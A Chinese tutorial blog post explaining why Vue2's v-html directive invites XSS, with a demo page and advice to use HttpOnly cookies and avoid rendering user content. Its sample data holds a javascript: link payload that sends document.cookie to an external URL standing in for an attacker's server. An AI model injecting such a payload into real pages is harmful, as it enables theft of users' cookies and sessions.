当前位置: 首页 > article >正文

Vue2中v-html引发的安全问题

前言:v-html指令

1.作用:向指定节点中渲染包含html结构的内容。

2.与插值语法的区别:

  (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。

  (2).v-html可以识别html结构。

3.严重注意:v-html有安全性问题!!!!

   (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。

    (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

一、代码

制作一个模拟页面,使用v-html在页面中插入“jack”,jack的href属性写为:javascript:location.href="http://www.baidu.com?"+document.cookie ,其中百度的地址为模拟地址,真实场景中应该为诈骗人员收集信息的靶机,document.cookie命令将会获得页面的全部cookie,并以参数的形式通过URL传递给靶机。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<div v-html="jack"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				jack:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点我!</a>',
			}
		})
	</script>
</html>

二、页面

通过vue本地环境打开页面,为了模拟效果,在cookies中模拟数据,添加2条数据。

 

三、运行结果 

点击页面的“点我”,浏览器跳转到百度页面,观察url,发现模拟的cookie数据当做参数被传递给了百度。

四、安全设置

当浏览器cookie的HttpOnly设置为 √ 时,就表示只能通过Http请求的方式传递,Cookie才能够被读取,其他时候是不行的,所以并不是任何时候,都可以通过JavaScript去读取Cookie。若网站没有将一些重要的用户信息设置为HttpOnly,这就会导致cookie的泄漏。 


http://www.kler.cn/a/160186.html

相关文章:

  • 解决VsCode无法跳转问题
  • 现代无线通信接收机架构:超外差、零中频与低中频的比较分析
  • 在JPA和EJB中用乐观锁解决并发问题
  • ARM架构中断与异常向量表机制解析
  • 〔 MySQL 〕数据类型
  • #include<string>和#include<string.h>有什么区别
  • 全息图着色器插件:Hologram Shaders Pro for URP, HDRP Built-in
  • 23 动态规划解买卖股票的最佳时机含手续费
  • node切换版本
  • C++转义符及用法
  • mysql基础之DQL基本单表查询
  • 『Jmeter超级干货』| Linux下Jmeter安装配置、脚本设计执行、监控及报告完整过程
  • Windows 下 PyTorch 入门深度学习环境安装与配置 GPU 版
  • Windows server 部署iSCSI共享磁盘搭建故障转移群集
  • BearPi Std 板从入门到放弃 - 引气入体篇(9)(DAC->ADC)
  • Java LeetCode篇-深入了解二叉树经典解法(三种方式实现:获取二叉树的最大深度)
  • Redis——某马点评day03——part2:秒杀业务异步优化
  • 鸿蒙4.0开发笔记之ArkTS语法基础之应用生命周期与页面中组件的生命周期(十六)
  • Park Unpark
  • Web安全漏洞分析-XSS(下)
  • ApplicationContextAware 类
  • ELK 日志解决方案
  • AI网关究竟是什么,怎么样才算是AI算力的网关
  • 跟着GPT学习shell脚本,理论与实践相结合的学习计划。(一)
  • 团队git操作流程
  • 单片机开发常用的软件构架